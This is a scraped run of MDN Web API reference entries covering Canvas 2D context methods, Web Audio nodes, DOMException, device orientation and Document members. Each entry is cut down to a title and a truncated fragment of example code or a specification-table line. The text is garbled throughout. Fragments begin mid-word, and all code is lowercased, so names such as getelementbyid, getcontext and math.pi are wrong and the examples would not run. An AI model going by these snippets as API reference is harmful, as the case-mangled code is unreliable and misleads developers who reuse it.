html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hi!', 150, 50); ctx.direction = 'rtl'; ctx.filltext('hi!', 150, 130); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.direction' in that specification.
CanvasRenderingContext2D.drawImage() - Web APIs
of 60x45 // given in the constructor ctx.drawimage(this, 0, 0); // to use the custom size we'll have to specify the scale parameters // using the element's width and height properties - lets draw one // on top in the corner: ctx.drawimage(this, 0, 0, this.width, this.height); } result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d: drawimage' in that specification.
CanvasRenderingContext2D.ellipse() - Web APIs
(60, 75, 50, 30, math.pi * .25, 0, math.pi * 1.5); ctx.fill(); ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.ellipse(150, 75, 50, 30, math.pi * .25, 0, math.pi); ctx.fill(); ctx.fillstyle = 'green'; ctx.beginpath(); ctx.ellipse(240, 75, 50, 30, math.pi * .25, 0, math.pi, true); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.ellipse' in that specification.
CanvasRenderingContext2D.fill() - Web APIs
etcontext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fill' in that specification.
CanvasRenderingContext2D.fillRect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillrect(0, 0, canvas.width, canvas.height); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fillrect' in that specification.
CanvasRenderingContext2D.fillStyle - Web APIs
vas.getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.fillstyle = `rgb( ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)}, 0)`; ctx.fillrect(j * 25, i * 25, 25, 25); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fillstyle' in that specification.
CanvasRenderingContext2D.fillText() - Web APIs
html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filltext' in that specification.
CanvasRenderingContext2D.font - Web APIs
let f = new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.font' in that specification.
CanvasRenderingContext2D.getImageData() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 100, 100); ctx.fill(); let imagedata = ctx.getimagedata(60, 60, 200, 100); ctx.putimagedata(imagedata, 150, 10); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.getimagedata' in that specification.
CanvasRenderingContext2D.getLineDash() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([10, 20]); console.log(ctx.getlinedash()); // [10, 20] // draw a dashed line ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.getlinedash' in that specification.
CanvasRenderingContext2D.getTransform() - Web APIs
onst ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.gettransform' in that specification.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification.
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
image(img, 0, 24, w, h); ctx.filltext('smoothing = true', w * 2.5, 20); ctx.imagesmoothingenabled = true; ctx.drawimage(img, w, 24, w * 3, h * 3); ctx.filltext('smoothing = false', w * 5.5, 20); ctx.imagesmoothingenabled = false; ctx.drawimage(img, w * 4, 24, w * 3, h * 3); }; result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.imagesmoothingenabled' in that specification.
CanvasRenderingContext2D.isPointInPath() - Web APIs
function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.ispointinpath' in that specification.
CanvasRenderingContext2D.isPointInStroke() - Web APIs
is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } else { ctx.strokestyle = 'red'; } // draw ellipse ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(ellipse); ctx.stroke(ellipse); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.ispointinstroke' in that specification.
CanvasRenderingContext2D.lineCap - Web APIs
, 140); ctx.lineto(140, 140); ctx.stroke(); // draw lines ctx.strokestyle = 'black'; for (let i = 0; i < linecap.length; i++) { ctx.linewidth = 15; ctx.linecap = linecap[i]; ctx.beginpath(); ctx.moveto(25 + i * 50, 10); ctx.lineto(25 + i * 50, 140); ctx.stroke(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linecap' in that specification.
CanvasRenderingContext2D.lineDashOffset - Web APIs
offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linedashoffset' in that specification.
CanvasRenderingContext2D.lineJoin - Web APIs
ewidth = 10; for (let i = 0; i < linejoin.length; i++) { ctx.linejoin = linejoin[i]; ctx.beginpath(); ctx.moveto(-5, 5 + i * 40); ctx.lineto(35, 45 + i * 40); ctx.lineto(75, 5 + i * 40); ctx.lineto(115, 45 + i * 40); ctx.lineto(155, 5 + i * 40); ctx.stroke(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linejoin' in that specification.
CanvasRenderingContext2D.lineTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.linewidth = 15; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.lineto' in that specification.
CanvasRenderingContext2D.measureText() - Web APIs
you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('hello world'); console.log(text.width); // 56; specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.measuretext' in that specification.
CanvasRenderingContext2D.moveTo() - Web APIs
var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(50, 50); // begin first sub-path ctx.lineto(200, 50); ctx.moveto(50, 90); // begin second sub-path ctx.lineto(280, 120); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.moveto' in that specification.
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 110); ctx.quadraticcurveto(230, 150, 250, 20); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.quadraticcurveto' in that specification.
CanvasRenderingContext2D.rect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 20, 150, 100); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.rect' in that specification.
CanvasRenderingContext2D.resetTransform() - Web APIs
polyfill you can also use the settransform() method to reset the current transform to the identity matrix, like so: ctx.settransform(1, 0, 0, 1, 0, 0); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.resettransform' in that specification.
CanvasRenderingContext2D.restore() - Web APIs
vas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.restore' in that specification.
CanvasRenderingContext2D.rotate() - Web APIs
specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.rotate' in that specification.
CanvasRenderingContext2D.save() - Web APIs
vas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.save' in that specification.
CanvasRenderingContext2D.scale() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('hello world!', -280, 90); ctx.settransform(1, 0, 0, 1, 0, 0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scale' in that specification.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
th, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scrollpathintoview' in that specification.
CanvasRenderingContext2D.setLineDash() - Web APIs
('canvas'); const ctx = canvas.getcontext('2d'); let y = 15; drawdashedline([]); drawdashedline([1, 1]); drawdashedline([10, 10]); drawdashedline([20, 5]); drawdashedline([15, 3, 3, 3]); drawdashedline([20, 3, 3, 3, 3, 3, 3, 3]); drawdashedline([12, 3, 3]); // equals [12, 3, 3, 12, 3, 3] result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.setlinedash' in that specification.
CanvasRenderingContext2D.shadowColor - Web APIs
55, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(10, 10, 150, 100); // stroked rectangle ctx.linewidth = 10; ctx.strokestyle = 'rgba(0, 0, 255, .6)'; ctx.strokerect(10, 10, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowcolor' in that specification.
CanvasRenderingContext2D.stroke() - Web APIs
yid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 16; ctx.strokestyle = 'red'; // stroke on top of fill ctx.beginpath(); ctx.rect(25, 25, 100, 100); ctx.fill(); ctx.stroke(); // fill on top of stroke ctx.beginpath(); ctx.rect(175, 25, 100, 100); ctx.stroke(); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.stroke' in that specification.
CanvasRenderingContext2D.strokeRect() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification.
CanvasRenderingContext2D.strokeStyle - Web APIs
0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokestyle' in that specification.
CanvasRenderingContext2D.strokeText() - Web APIs
html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.stroketext' in that specification.
CanvasRenderingContext2D.textAlign - Web APIs
nvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '30px serif'; ctx.direction = 'ltr'; ctx.textalign = 'start'; ctx.filltext('start-aligned', 0, 50); ctx.textalign = 'end'; ctx.filltext('end-aligned', canvas.width, 120); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textalign' in that specification.
CanvasRenderingContext2D.textBaseline - Web APIs
if'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y + 0.5); ctx.stroke(); ctx.filltext('abcdefghijklmnop (' + baseline + ')', 0, y); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textbaseline' in that specification.
CanvasRenderingContext2D.transform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.transform' in that specification.
CanvasRenderingContext2D.translate() - Web APIs
specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.translate' in that specification.
CanvasRenderingContext2D - Web APIs
specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d' in that specification.
Applying styles and colors - Web APIs
while slightly painful when initially working with scalable 2d graphics, paying attention to the pixel grid and the position of paths ensures that your drawings will look correct regardless of scaling or any other transformations involved.
Transformations - Web APIs
the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] if any of the arguments are infinity the transformation matrix must be marked as infinite instead of the method throwing an exception.
Canvas API - Web APIs
specifications specification status comment html living standardthe definition of 'the 2d rendering context' in that specification.
CaretPosition - Web APIs
methods caretposition.getclientrect specification specification status comment css object model (cssom) view modulethe definition of 'caretposition' in that specification.
ChannelMergerNode() - Web APIs
example var ac = new audiocontext(); var options = { numberofinputs : 2 } var mymerger = new channelmergernode(ac, options); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelMergerNode - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
example var ac = new audiocontext(); var options = { numberofoutputs : 2 } var mysplitter = new channelsplitternode(ac, options); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
ChannelSplitterNode - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
Channel Messaging API - Web APIs
specifications specification status comment html living standardthe definition of 'channel messaging' in that specification.
Clipboard API - Web APIs
specifications specification status comment clipboard api and events working draft initial definition.
console - Web APIs
WebAPIConsole
given code like this: function foo() { function bar() { console.trace(); } bar(); } foo(); the output in the console looks something like this: specifications specification status comment console api living standard initial definition.
Console API - Web APIs
specifications specification status comment console api living standard initial definition.
ConstantSourceNode.offset - Web APIs
specifications specification status comment web audio apithe definition of 'offset' in that specification.
Content Index API - Web APIs
specifications specification status comment unknown unknown initial definition.
ConvolverNode.normalize - Web APIs
convolver.normalize = false; // must be set before the buffer, to take effect convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'normalize' in that specification.
ConvolverNode - Web APIs
let reverb = await createreverb(); // someotheraudionode -> reverb -> destination someotheraudionode.connect(reverb); reverb.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'convolvernode' in that specification.
CrashReportBody - Web APIs
specifications specification status comment reporting apithe definition of 'crashreportbody' in that specification.
Credential.id - Web APIs
WebAPICredentialid
specifications specification status comment credential management level 1 working draft initial definition.
Credential.name - Web APIs
WebAPICredentialname
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential.type - Web APIs
WebAPICredentialtype
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential - Web APIs
examples // tbd specifications specification status comment credential management level 1 working draft initial definition.
CredentialsContainer.store() - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Crypto.getRandomValues() - Web APIs
examples /* assuming that window.crypto.getrandomvalues is available */ var array = new uint32array(10); window.crypto.getrandomvalues(array); console.log("your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } specification specification status comment web cryptography api recommendation initial definition ...
DOMException() - Web APIs
example tbd specifications specification status comment web idlthe definition of 'domexception()' in that specification.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
specifications specification status comment web idlthe definition of 'code' in that specification.
DOMException.message - Web APIs
specifications specification status comment web idlthe definition of 'message' in that specification.
DOMException.name - Web APIs
WebAPIDOMExceptionname
specifications specification status comment web idlthe definition of 'name' in that specification.
DOMException - Web APIs
specifications specification status comment web idlthe definition of 'constructor' in that specification.
DOMParser - Web APIs
WebAPIDOMParser
ocument.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(this, arguments); } }; }(domparser)); specifications specification status comment html living standardthe definition of 'dom parsing' in that specification.
DOMRectReadOnly.bottom - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'bottom' in that specification.
DOMRectReadOnly.height - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'height' in that specification.
DOMRectReadOnly.left - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'left' in that specification.
DOMRectReadOnly.right - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'right' in that specification.
DOMRectReadOnly.top - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'top' in that specification.
DOMRectReadOnly.width - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'width' in that specification.
DOMRectReadOnly.x - Web APIs
WebAPIDOMRectReadOnlyx
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
DOMRectReadOnly.y - Web APIs
WebAPIDOMRectReadOnlyy
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
DOMString - Web APIs
WebAPIDOMString
specifications specification status comment web idlthe definition of 'domstring' in that specification.
DOMStringMap - Web APIs
specifications specification status comment html living standardthe definition of 'domstringmap' in that specification.
DOMTokenList.supports() - Web APIs
ports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run javascript // // (note: this feature is well-supported; this is just an example!) // } specifications specification status comment credential management level 1 working draft initial definition.
DataTransfer.mozSourceNode - Web APIs
the datatransfer.mozsourcenode property is used to determine the node over which the mouse cursor was located when the the drag operation was initiated (for example, when a <button> was clicked).
DataTransferItemList.DataTransferItem() - Web APIs
the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'datatransferitem getter' in that specification.
DedicatedWorkerGlobalScope.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
DedicatedWorkerGlobalScope.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
DedicatedWorkerGlobalScope.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.onmessage' in that specification.
DedicatedWorkerGlobalScope.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.postmessage()' in that specification.
DedicatedWorkerGlobalScope - Web APIs
specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope' in that specification.
DelayNode.delayTime - Web APIs
var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaytime' in that specification.
DelayNode - Web APIs
WebAPIDelayNode
var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaynode' in that specification.
DeprecationReportBody - Web APIs
specifications specification status comment reporting apithe definition of 'deprecationreportbody' in that specification.
Detecting device orientation - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceMotionEvent.acceleration - Web APIs
ted with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
ted with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.interval - Web APIs
syntax var interval = devicemotionevent.interval; specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.rotationRate - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEventAcceleration: x - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: x' in that specification.
DeviceMotionEventAcceleration: y - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: y' in that specification.
DeviceMotionEventAcceleration: z - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: z' in that specification.
DeviceMotionEventRotationRate: alpha - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: alpha' in that specification.
DeviceMotionEventRotationRate: beta - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: beta' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: gamma' in that specification.
DeviceMotionEventRotationRate - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate' in that specification.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceOrientationEvent.absolute - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.alpha - Web APIs
syntax var alpha = instanceofdeviceorientationevent.alpha; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.beta - Web APIs
syntax var beta = instanceofdeviceorientationevent.beta; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.gamma - Web APIs
syntax var gamma = orientationevent.gamma; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent - Web APIs
example window.addeventlistener('deviceorientation', function(event) { console.log(event.alpha + ' : ' + event.beta + ' : ' + event.gamma); }); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Device Memory API - Web APIs
specifications specification status comment device memory 1 editor's draft initial definition.
Document.URL - Web APIs
WebAPIDocumentURL
syntax const url = document.url example javascript document.getelementbyid("url").textcontent = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.adoptNode() - Web APIs
specifications specification status comment domthe definition of 'document.adoptnode' in that specification.
Document: animationcancel event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationend event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationiteration event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationstart event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document.compatMode - Web APIs
example if (document.compatmode == "backcompat") { // in quirks mode } specifications specification status comment domthe definition of 'compatmode' in that specification.
Document.createCDATASection() - Web APIs
specifications specification status comment domthe definition of 'document.createcdatasection' in that specification.
Document.createComment() - Web APIs
g('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createNodeIterator() - Web APIs
nodefilter.filter_accept : nodefilter.filter_reject; } } ); const pars = []; let currentnode; while (currentnode = nodeiterator.nextnode()) { pars.push(currentnode); } specifications specification status comment domthe definition of 'document.createnodeiterator' in that specification.
Document.createRange() - Web APIs
specifications specification status comment domthe definition of 'document.createrange' in that specification.
Document.createTextNode() - Web APIs
');">we can!</button> <hr /> <p id="p1">first line of paragraph.</p> </body> </html> specifications specification status comment domthe definition of 'document: createtextnode' in that specification.
Document.doctype - Web APIs
WebAPIDocumentdoctype
specifications specification status comment domthe definition of 'document: doctype' in that specification.
Document.documentElement - Web APIs
specifications specification status comment domthe definition of 'document.documentelement' in that specification.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("url").textcontent = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document.domain - Web APIs
WebAPIDocumentdomain
const baddomain = "www.example.xxx"; if (document.domain === baddomain) { // just an example: window.close() sometimes has no effect window.close(); } specifications specification status comment html living standardthe definition of 'document.domain' in that specification.
Document: drag event - Web APIs
pen as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document: dragend event - Web APIs
specifications specification status comment html living standardthe definition of 'dragend' in that specification.
Document: dragenter event - Web APIs
specifications specification status comment html living standardthe definition of 'dragenter' in that specification.
Document: dragexit event - Web APIs
specifications specification status comment html living standardthe definition of 'dragexit' in that specification.
Document: dragleave event - Web APIs
specifications specification status comment html living standardthe definition of 'dragleave' in that specification.
Document: dragover event - Web APIs
specifications specification status comment html living standardthe definition of 'dragover' in that specification.
Document: drop event - Web APIs
specifications specification status comment html living standardthe definition of 'drop event' in that specification.
Document.embeds - Web APIs
WebAPIDocumentembeds
specifications specification status comment html living standardthe definition of 'document.embeds' in that specification.
Document.exitPointerLock() - Web APIs
syntax document.exitpointerlock(); specifications specification status comment pointer lockthe definition of 'document' in that specification.
Document.featurePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
Document.getAnimations() - Web APIs
document.getanimations().foreach( function (animation) { animation.playbackrate *= .5; } ); specifications specification status comment web animationsthe definition of 'document.getanimations()' in that specification.
Document.getElementsByClassName() - Web APIs
lorangejuicequery = document.queryselectorall('.orange.juice'); result += "\n\ndocument.queryselectorall('.orange.juice')"; for (var i=0, len=allorangejuicequery.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicequery[i].textcontent; } document.getelementbyid("resultarea").value = result; result specifications specification status comment domthe definition of 'document.getelementsbyclassname' in that specification.
Document.getElementsByTagName() - Web APIs
specifications specification status comment domthe definition of 'document.getelementsbytagname' in that specification.
Document.getElementsByTagNameNS() - Web APIs
doc; } var result = doc.evaluate('//*[local-name()="'+elname+'" and namespace-uri() = "'+ns+'"]', context, null, xpathresult.ordered_node_snapshot_type, null); var a = []; for(var i = 0; i < result.snapshotlength; i++) { a[i] = result.snapshotitem(i); } return a; } specifications specification status comment domthe definition of 'document.getelementsbytagnamens' in that specification.
Document.implementation - Web APIs
specifications specification status comment domthe definition of 'document.implementation' in that specification.
Document.ononline - Web APIs
WebAPIDocumentononline
window.navigator.online returns boolean true if the browser is online and false if it is definitely offline (disconnected from the network).
Document.plugins - Web APIs
WebAPIDocumentplugins
specifications specification status comment html living standardthe definition of 'document.plugins' in that specification.
Document.popupNode - Web APIs
typically, this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
Document.queryCommandEnabled() - Web APIs
notes for 'cut' and 'copy' commands the method only returns true when called from a user-initiated thread.
Document.querySelector() - Web APIs
specifications specification status comment domthe definition of 'document.queryselector()' in that specification.
Document: readystatechange event - Web APIs
+ 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document.scripts - Web APIs
WebAPIDocumentscripts
